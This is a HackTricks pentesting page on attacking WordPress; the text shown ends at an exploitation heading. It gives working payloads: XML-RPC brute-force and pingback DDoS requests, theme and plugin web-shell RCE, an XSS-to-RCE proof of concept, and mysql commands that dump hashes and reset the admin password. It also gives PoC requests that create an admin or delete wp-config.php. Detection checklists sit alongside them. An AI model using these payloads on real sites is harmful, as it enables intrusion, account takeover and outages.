wordpress.md (64056B)
1 --- 2 title: "WordPress" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/wordpress.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/wordpress.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # WordPress 14 15 ## Basic Information 16 17 - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` 18 - **Theme files are stored under `/wp-content/themes/`.** If an administrator modifies a PHP template to obtain code execution, the corresponding theme path can be requested directly. For example, the Twenty Twelve theme's `404.php` template is normally reachable at [**`/wp-content/themes/twentytwelve/404.php`**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php). 19 20 - On an installation that actually contains and activates a theme named `default`, another path to test is **`/wp-content/themes/default/404.php`**. 21 22 - **`wp-config.php`** contains the WordPress database credentials. The configured database user may be privileged, but it is not necessarily the database `root` account.<sup>[[21]](#references)</sup> 23 - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ 24 25 ### **Main WordPress Files** 26 27 - `index.php` 28 - `license.txt` contains useful information such as the version WordPress installed. 29 - `wp-activate.php` is used for the email activation process when setting up a new WordPress site. 30 - Login folders (may be renamed to hide it): 31 - `/wp-admin/login.php` 32 - `/wp-admin/wp-login.php` 33 - `/login.php` 34 - `/wp-login.php` 35 - `xmlrpc.php` exposes the legacy XML-RPC interface over HTTP. Modern integrations generally use the WordPress REST API, but XML-RPC remains present and can still be enabled.<sup>[[22]](#references)</sup> 36 - The `wp-content` folder is the main directory where plugins and themes are stored. 37 - `wp-content/uploads/` is the default directory for uploaded media, although configuration and plugins can change its organization. 38 - `wp-includes/` contains WordPress core libraries and assets; it should not be treated as a user-content directory. 39 - Since WordPress 5.5, core exposes an XML sitemap index at `wp-sitemap.xml` for public posts and other publicly queryable content.<sup>[[23]](#references)</sup> 40 41 **Post exploitation** 42 43 - The `wp-config.php` file contains information required by WordPress to connect to the database, such as the database name, host, username, and password, as well as authentication keys and salts and the database table prefix. It can also enable debugging settings, so disclosure of this file is especially sensitive.<sup>[[21]](#references)</sup> 44 45 ### User roles 46 47 - **Administrator** 48 - **Editor**: Can publish and manage their own and other users' posts. 49 - **Author**: Can publish and manage their own posts. 50 - **Contributor**: Can write and manage their own posts but cannot publish them. 51 - **Subscriber**: Can read content and manage their own profile. 52 53 These are the default roles; plugins and administrators can modify capabilities, so authorization testing should check capabilities rather than assume a role name has a fixed meaning.<sup>[[24]](#references)</sup> 54 55 ## **Passive Enumeration** 56 57 ### **Get WordPress version** 58 59 Check if you can find the files `/license.txt` or `/readme.html` 60 61 Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): 62 63 - grep 64 65 ```bash 66 curl https://victim.com/ | grep 'content="WordPress' 67 ``` 68 69 - `meta name` 70 71  72 73 - CSS link files 74 75  76 77 - JavaScript files 78 79  80 81 ### Get Plugins 82 83 ```bash 84 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 85 ``` 86 87 ### Get Themes 88 89 ```bash 90 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 91 ``` 92 93 ### Extract versions in general 94 95 ```bash 96 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '\?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 97 98 ``` 99 100 ## Active enumeration 101 102 ### Plugins and Themes 103 104 Passive inspection will not necessarily reveal every installed plugin or theme. To expand coverage, actively enumerate candidate names from appropriate wordlists with tools that respect the assessment's request-rate limits. 105 106 ### Users 107 108 - **ID Brute:** You get valid users from a WordPress site by Brute Forcing users IDs: 109 110 ```bash 111 curl -s -I -X GET http://blog.example.com/?author=1 112 ``` 113 114 If the response is **200** or **30X**, the ID is **valid**. If the response is **400**, the ID is **invalid**. 115 116 - **wp-json:** You can also try to get information about the users by querying: 117 118 ```bash 119 curl http://blog.example.com/wp-json/wp/v2/users 120 ``` 121 122 Another `/wp-json/` endpoint that can reveal some information about users is: 123 124 ```bash 125 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL 126 ``` 127 128 Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**. 129 130 Also note that **/wp-json/wp/v2/pages** could leak IP addresses. 131 132 - **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**. 133 134 ### XML-RPC 135 136 If `xmlrpc.php` is enabled, its methods may expose password-guessing and pingback abuse surfaces. For example, [wpxploit](https://github.com/relarizky/wpxploit) automates several XML-RPC checks. Apply strict rate limits and test only with authorization. 137 138 To see whether it is active, request **`/xmlrpc.php`** and send this method call: 139 140 **Check** 141 142 ```html 143 <methodCall> 144 <methodName>system.listMethods</methodName> 145 <params></params> 146 </methodCall> 147 ``` 148 149  150 151 **Credential brute force** 152 153 **`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like: 154 155 ```html 156 <methodCall> 157 <methodName>wp.getUsersBlogs</methodName> 158 <params> 159 <param><value>admin</value></param> 160 <param><value>pass</value></param> 161 </params> 162 </methodCall> 163 ``` 164 165 The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid. 166 167  168 169  170 171 With valid credentials and sufficient capabilities, `wp.uploadFile` can upload media. A successful response includes the resulting path ([request example](https://gist.github.com/georgestephanis/5681982)). 172 173 ```html 174 <?xml version='1.0' encoding='utf-8'?> 175 <methodCall> 176 <methodName>wp.uploadFile</methodName> 177 <params> 178 <param><value><string>1</string></value></param> 179 <param><value><string>username</string></value></param> 180 <param><value><string>password</string></value></param> 181 <param> 182 <value> 183 <struct> 184 <member> 185 <name>name</name> 186 <value><string>filename.jpg</string></value> 187 </member> 188 <member> 189 <name>type</name> 190 <value><string>mime/type</string></value> 191 </member> 192 <member> 193 <name>bits</name> 194 <value><base64><![CDATA[---base64-encoded-data---]]></base64></value> 195 </member> 196 </struct> 197 </value> 198 </param> 199 </params> 200 </methodCall> 201 ``` 202 203 Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: 204 205 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28628%29.png" alt=""><figcaption></figcaption></figure> 206 207 **Bypass 2FA** 208 209 This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 210 211 **DDoS or port scanning** 212 213 If the method **`pingback.ping`** is available, it may make the WordPress server retrieve an attacker-selected HTTP(S) URL. Core uses URL validation intended to reduce SSRF, so reachable schemes, destinations, redirects, and response signals vary by version and configuration. Historically this feature has been abused for reflected traffic and limited internal-network probing.<sup>[[25]](#references)</sup> 214 215 ```html 216 <methodCall> 217 <methodName>pingback.ping</methodName> 218 <params><param> 219 <value><string>http://<YOUR SERVER >:<port></string></value> 220 </param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string> 221 </value></param></params> 222 </methodCall> 223 ``` 224 225  226 227 Do not treat a single `faultCode` as definitive proof that a port is open. Compare controlled open and closed destinations and account for URL validation, application errors, timeouts, and intermediary behavior. 228 229 Take a look to the use of **`system.multicall`** in the previous section to learn how to abuse this method to cause DDoS. 230 231 **DDoS** 232 233 ```html 234 <methodCall> 235 <methodName>pingback.ping</methodName> 236 <params> 237 <param><value><string>http://target/</string></value></param> 238 <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param> 239 </params> 240 </methodCall> 241 ``` 242 243  244 245 ### `wp-cron.php` load testing 246 247 This file normally exists at the WordPress root as **`/wp-cron.php`**. WordPress checks due scheduled events during page requests and may spawn a non-blocking request to this endpoint. The work performed depends on the scheduled hooks; repeated requests are not inherently a heavy database query, but expensive or poorly locked jobs can create avoidable load. Test this only in a controlled environment because load testing can affect availability.<sup>[[21]](#references)</sup> 248 249 For busy or latency-sensitive sites, administrators can set `DISABLE_WP_CRON` and invoke due events from a system scheduler at a controlled interval.<sup>[[21]](#references)</sup> 250 251 ### /wp-json/oembed/1.0/proxy - SSRF 252 253 On versions/configurations where the oEmbed proxy route is exposed to the tested user, try `https://wordpress-site.example/wp-json/oembed/1.0/proxy?url=https://<collaborator-host>/`. Modern core routes the fetch through `wp_safe_remote_get()`, which validates the URL and redirects to reduce SSRF; authentication, nonce, allowlist, and network controls also affect reachability.<sup>[[25]](#references)</sup> 254 255 This is the response when it doesn't work: 256 257  258 259 ## SSRF 260 261 262 [QuickPress](https://github.com/t0gu/quickpress) checks for the `pingback.ping` method and the `/wp-json/oembed/1.0/proxy` path, then tests the corresponding server-side request behavior.<sup>[[26]](#references)</sup> 263 264 ## Automatic Tools 265 266 ```bash 267 cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" 268 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt # Enumerate and test authorized accounts; API quotas vary 269 # To test the admin account in an authorized assessment, add: -U admin 270 ``` 271 272 ## Get access by overwriting a bit 273 274 This is a CTF-specific curiosity rather than a general WordPress attack. In [One-Bit-Man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), the attacker could flip one bit in any WordPress file. Flipping the relevant byte in `/var/www/html/wp-includes/user.php` changed the password-check condition. The exact offset (`5389` in that challenge) is build-specific. 275 276 ```php 277 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { 278 return new WP_Error( 279 ``` 280 281 ## **Panel RCE** 282 283 **Modifying a php from the theme used (admin credentials needed)** 284 285 Appearance → Theme Editor → 404 Template (at the right) 286 287 Change the content for a php shell: 288 289  290 291 Request the modified template through a route that renders it or, when the web server permits direct PHP execution in theme directories, access it directly. In this example the path is [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php). 292 293 ### MSF 294 295 You can use: 296 297 ```bash 298 use exploit/unix/webapp/wp_admin_shell_upload 299 ``` 300 301 to get a session. 302 303 ## Plugin RCE 304 305 ### PHP plugin 306 307 It may be possible to upload .php files as a plugin.\ 308 Create your php backdoor using for example: 309 310  311 312 Then add a new plugin: 313 314  315 316 Upload plugin and press Install Now: 317 318  319 320 Click **Proceed**: 321 322  323 324 Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: 325 326  327 328 Access it and you will see the URL to execute the reverse shell: 329 330  331 332 ### Uploading and activating malicious plugin 333 334 This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: 335 336 1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). 337 2. **Plugin Installation**: 338 - Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. 339 - Upload the zip file of the downloaded plugin. 340 3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard. 341 4. **Exploitation**: 342 - With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. 343 - The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. 344 - It's noted that this is just one of the many methods to exploit a WordPress site. 345 346 The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission. 347 348 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) 349 350 ## From XSS to RCE 351 352 - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) is a script designed to escalate Cross-Site Scripting (XSS) to Remote Code Execution (RCE) or other critical impacts in WordPress. Its documented techniques target WordPress 4.x, 5.x, and 6.x, although applicability depends on the exact version, configuration, and current browser behavior:<sup>[[17]](#references)</sup> 353 - _**Privilege Escalation:**_ Creates a user in WordPress. 354 - _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress. 355 - _**(RCE) Built-In Plugin Edit:**_ Edits a built-in plugin in WordPress. 356 - _**(RCE) Built-In Theme Edit:**_ Edits a built-in theme in WordPress. 357 - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes. 358 359 ### Core login parser differential → DOM clobbering → RCE (XSS2Shell) 360 361 WordPress core before the August 2026 security backports (fixed in 7.0.3) contained a pre-authentication login-screen XSS that could be chained to PHP execution when a logged-in single-site administrator visited an attacker-controlled page. The interesting part is the composition of individually limited primitives rather than the CVE itself.<sup>[[19]](#references)[[20]](#references)</sup> 362 363 The root cause was a **parser differential**. An invalid username passed through `sanitize_user()`/`wp_strip_all_tags()`; PHP `strip_tags()` treated `< area ...>` (whitespace after `<`) as text, but the later `wp_kses_post()` pass interpreted it as an allowed `<area>` element. This turned a value expected to be plain text into attacker-controlled DOM on `wp-login.php`.<sup>[[19]](#references)</sup> 364 365 The browser-side chain illustrates useful audit targets and combines [DOM clobbering](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering) with [SOME](/hacktricks/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution):<sup>[[19]](#references)</sup> 366 367 1. Inject elements whose IDs/classes match selectors used by the globally enqueued `user-profile.js`. Its automatic password-generator click reaches a color-scheme handler; two absent inputs both evaluate to `undefined`, so its equality guard succeeds. 368 2. Clobber the otherwise undefined global `ajaxurl` with `<area id=ajaxurl href=...>`. When jQuery coerces the element to a string, its `href` becomes the AJAX destination. 369 3. Point that request to the same-origin REST index with `_method=GET` and `_jsonp=<callback>`. The JavaScript response is evaluated by jQuery; `_envelope=1` can keep the outer response status at 200 when the inner REST response is an error. 370 4. For the demonstrated RCE chain, a child window executes a restricted callback such as `window.opener.approve.click` against the Application Password approval form in its same-origin opener. The approved credential is delivered to the attacker's `success_url`. 371 5. Use the administrator Application Password for authenticated REST calls, publish JavaScript using `unfiltered_html`, navigate the administrator to it, then use the administrator cookie context to obtain the plugin-upload nonce and upload a ZIP containing a directly reachable PHP file. This last stage still depends on the victim having the relevant single-site administrator capabilities. 372 373 A minimal authorized-test form for the pre-auth XSS primitive is shown below. The whitespace immediately after each `<` is significant.<sup>[[19]](#references)</sup> 374 375 ```html 376 <form id="poc" method="post" action="https://target.example/wp-login.php"> 377 <input type="hidden" name="log" value='< area id=ajaxurl href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//%3Frest_route%3D/%26amp%3B_method%3DGET%26amp%3B_jsonp%3Dalert%26amp%3B_envelope%3D1">< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X'> 378 <input type="hidden" name="pwd" value="x"> 379 </form> 380 <script>document.getElementById('poc').submit()</script> 381 ``` 382 383 Useful hunting indicators derived from the chain are suspicious `log` values containing `<` plus whitespace before `area`, `div`, or `button`; REST requests combining `_jsonp`, `_method`, and `_envelope`; unexpected visits to `authorize-application.php`; new Application Passwords; REST page creation followed by plugin ZIP upload; and direct requests to a newly created plugin PHP file.<sup>[[19]](#references)</sup> 384 385 WordPress 7.0.3 escaped the failed-login value and announced backports for branches still eligible for security maintenance. Version strings alone are therefore insufficient: verify that the applicable security build/backport is installed.<sup>[[19]](#references)[[20]](#references)</sup> 386 387 ## Post Exploitation 388 389 Extract usernames and passwords: 390 391 ```bash 392 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" 393 ``` 394 395 Change admin password: 396 397 ```bash 398 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" 399 ``` 400 401 ### MU-plugin persistence and hidden REST upload backdoors 402 403 `WPMU_PLUGIN_DIR` defaults to `wp-content/mu-plugins`. WordPress automatically loads top-level PHP files from this directory before normal plugins; they are absent from the default Plugins list, are not recorded as ordinary active plugins, receive no normal update notices, and cannot be disabled from the standard workflow. Consequently, an attacker with an arbitrary-write primitive can obtain low-visibility persistence by dropping one PHP loader in this directory. Check the separate **Must-Use** view and the filesystem itself rather than relying only on the ordinary plugin inventory.<sup>[[30]](#references)</sup> 404 405 A practical pattern is a one-shot conventional plugin or installer that creates the MU-plugin, then deactivates and deletes itself. One recovered implementation registered the obscure REST route `wp-sec/v1/upload`, checked hardcoded credentials, accepted attacker-selected paths beneath the WordPress root, and explicitly permitted `.php`. The credential therefore protected an arbitrary file-write backdoor rather than fixing it: anyone who recovered it could POST a web shell below the web root and gain PHP code execution.<sup>[[31]](#references)</sup> 406 407 For an authorized assessment or incident response, enumerate both the autoload directory and REST namespace, then review every upload callback for capability checks, canonical path containment, extension allowlists, and placement outside executable web directories. WordPress only autoloads PHP files directly inside the MU-plugin directory, but a small top-level loader may `require` a larger payload from a subdirectory.<sup>[[30]](#references)[[31]](#references)</sup> 408 409 ```bash 410 # The location can be changed in wp-config.php 411 grep -nE 'WPMU_PLUGIN_(DIR|URL)' wp-config.php 412 find wp-content/mu-plugins -maxdepth 2 -type f -printf '%TY-%Tm-%Td %TT %p\n' 2>/dev/null 413 wp plugin list --status=must-use --fields=name,status,version 414 415 # REST discovery and source review 416 curl -s https://target.example/wp-json/ | jq -r '.routes | keys[]' | grep -Ei 'upload|file|wp-sec' 417 grep -RniE 'register_rest_route|move_uploaded_file|file_put_contents|fopen|copy|ABSPATH|WPMU_PLUGIN_DIR' wp-content/mu-plugins 418 ``` 419 420 High-signal artifacts include a new `mu-plugins` directory, REST registrations whose `permission_callback` compares request data to embedded secrets, destination paths derived from client input, self-deleting installers, and a successful `POST /wp-json/<namespace>/<route>` followed by a request to a newly written PHP file. Also investigate small writable state files that hold a payload URL or an `off` switch: a separate controller can rotate infrastructure or toggle injected content without replacing the main plugin. Unexpected cache-plugin deactivation or removal of `WP_CACHE` may be used to ensure that the dynamic lure is served consistently.<sup>[[31]](#references)</sup> 421 422 For the client-side delivery stage commonly paired with this compromise, see [Clipboard Hijacking / ClickFix](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md) and [PowerShell download-and-execute](/hacktricks/windows-hardening/basic-powershell-for-pentesters/overview#download--execute). 423 424 ## WordPress plugin pentesting 425 426 ### Attack Surface 427 428 Understanding how a WordPress plugin exposes functionality is essential when auditing its attack surface. Common entry points are summarized below, with vulnerable examples discussed in the referenced research.<sup>[[18]](#references)</sup> 429 430 - **`wp_ajax`** 431 432 Plugins can expose server-side functions through AJAX handlers. These callbacks may contain logic, authentication, or authorization bugs. A recurring mistake is treating possession of a WordPress nonce as proof that the caller has permission to perform the action. 433 434 These are the functions that can be used to expose a function in a plugin: 435 436 ```php 437 add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); 438 add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); 439 ``` 440 441 **Registering the `wp_ajax_nopriv_` hook makes the callback reachable by unauthenticated users.** 442 443 > [!CAUTION] 444 > `wp_verify_nonce()` validates a time-limited CSRF token associated with an action and user context; it does **not** authorize the action or simply prove that a user has a particular role. Pair nonce validation with an appropriate capability check such as `current_user_can()`.<sup>[[27]](#references)</sup> 445 446 - **REST API** 447 448 Plugins can also expose functions through the REST API by calling `register_rest_route()`: 449 450 ```php 451 register_rest_route( 452 $this->namespace, '/get/', array( 453 'methods' => WP_REST_Server::READABLE, 454 'callback' => array($this, 'getData'), 455 'permission_callback' => '__return_true' 456 ) 457 ); 458 ``` 459 460 The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method. 461 462 **If the built-in `__return_true` function is used, it'll simply skip user permissions check.** 463 464 - **Direct access to the php file** 465 466 WordPress uses PHP, and web-server configuration often makes files under plugin directories directly addressable. A plugin file that performs sensitive work when requested directly, without bootstrapping WordPress authorization or rejecting direct access, may therefore expose that functionality to unauthenticated users. 467 468 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) 469 470 Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.<sup>[[6]](#references)[[7]](#references)</sup> 471 472 - Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. 473 - Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). 474 - Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. 475 476 PoC 477 478 ```http 479 POST /wp-json/wp/v2/users HTTP/1.1 480 Host: <WP HOST> 481 User-Agent: Mozilla/5.0 482 Accept: application/json 483 Content-Type: application/json 484 X-Wcpay-Platform-Checkout-User: 1 485 Content-Length: 114 486 487 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} 488 ``` 489 490 Why it works 491 492 - The plugin maps a client-controlled header to authentication state and skips capability checks. 493 - WordPress core checks the appropriate user-creation capabilities for this route; the vulnerable plugin bypasses the intended authentication boundary by setting the current user context directly from the header. 494 495 Expected success indicators 496 497 - HTTP 201 with a JSON body describing the created user. 498 - A new admin user visible in `wp-admin/users.php`. 499 500 Detection checklist 501 502 - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). 503 - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. 504 - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. 505 506 ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) 507 508 WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: 509 510 1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and 511 2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and 512 3. **Strict input sanitisation / validation**. 513 514 The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):<sup>[[1]](#references)</sup> 515 516 ```php 517 function litho_remove_font_family_action_data() { 518 if ( empty( $_POST['fontfamily'] ) ) { 519 return; 520 } 521 $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); 522 $upload_dir = wp_upload_dir(); 523 $srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; 524 $filesystem = Litho_filesystem::init_filesystem(); 525 526 if ( file_exists( $srcdir ) ) { 527 $filesystem->delete( $srcdir, FS_CHMOD_DIR ); 528 } 529 die(); 530 } 531 add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); 532 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); 533 ``` 534 535 Issues introduced by this snippet: 536 537 * **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered. 538 * **No nonce / capability check** – any visitor can hit the endpoint. 539 * **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal. 540 541 #### Exploitation 542 543 The traversal lets an attacker escape the intended `litho-fonts` directory and delete files writable by the PHP/web-server account. On a typical layout, the following request targets `wp-config.php`: 544 545 ```bash 546 curl -X POST https://victim.com/wp-admin/admin-ajax.php \ 547 -d 'action=litho_remove_font_family_action_data' \ 548 -d 'fontfamily=../../../wp-config.php' 549 ``` 550 551 From `<wp-root>/wp-content/uploads/litho-fonts/`, three `../` sequences reach the WordPress root. The required depth varies with the configured upload path. Deleting `wp-config.php` causes an outage and may expose a reconfiguration/install flow; turning that into takeover additionally depends on filesystem permissions and the attacker's ability to provide a reachable database configuration. 552 553 Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. 554 555 #### Detection checklist 556 557 * Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). 558 * Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). 559 * Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. 560 561 --- 562 563 ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") 564 565 Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. 566 567 A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:<sup>[[3]](#references)[[4]](#references)</sup> 568 569 ```php 570 // Simplified vulnerable pattern 571 if ( isset( $_REQUEST['reset-for'] ) ) { 572 $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); 573 $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; 574 575 if ( in_array( $reset_for_username, $usernames, true ) ) { 576 $u = get_user_by( 'login', $reset_for_username ); 577 foreach ( $u->roles as $role ) { $u->remove_role( $role ); } 578 $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); 579 foreach ( $orig as $r ) { $u->add_role( $r ); } 580 } 581 } 582 ``` 583 584 Why it’s exploitable 585 586 - Trusts `$_REQUEST['reset-for']` and a plugin option without server-side authorization. 587 - If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path. 588 - In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization). 589 590 Exploitation (example) 591 592 ```bash 593 # While logged in as the downgraded user (or any auth user able to trigger the code path), 594 # hit any route that executes the role-switcher logic and include the reset parameter. 595 # The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. 596 curl -s -k -b 'wordpress_logged_in=...' \ 597 'https://victim.example/wp-admin/?reset-for=<your_username>' 598 ``` 599 600 On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. 601 602 Detection checklist 603 604 - Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`). 605 - Identify reset/restore paths that: 606 - Read usernames from `$_REQUEST` / `$_GET` / `$_POST`. 607 - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. 608 - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities. 609 610 --- 611 612 ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) 613 614 Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID. 615 616 Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):<sup>[[8]](#references)[[9]](#references)</sup> 617 618 ```php 619 function service_finder_submit_user_form(){ 620 if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { 621 $user_id = intval( sanitize_text_field($_GET['switch_user']) ); 622 service_finder_switch_user($user_id); 623 } 624 if ( isset($_GET['switch_back']) ) { 625 service_finder_switch_back(); 626 } 627 } 628 add_action('init', 'service_finder_submit_user_form'); 629 630 function service_finder_switch_back() { 631 if ( isset($_COOKIE['original_user_id']) ) { 632 $uid = intval($_COOKIE['original_user_id']); 633 if ( get_userdata($uid) ) { 634 wp_set_current_user($uid); 635 wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID 636 do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid)); 637 setcookie('original_user_id', '', time() - 3600, '/'); 638 wp_redirect( admin_url('admin.php?page=candidates') ); 639 exit; 640 } 641 wp_die('Original user not found.'); 642 } 643 wp_die('No original user found to switch back to.'); 644 } 645 ``` 646 647 Why it’s exploitable 648 649 - Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard). 650 - Identity is derived from a client-modifiable cookie (`original_user_id`). 651 - Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks. 652 653 Exploitation 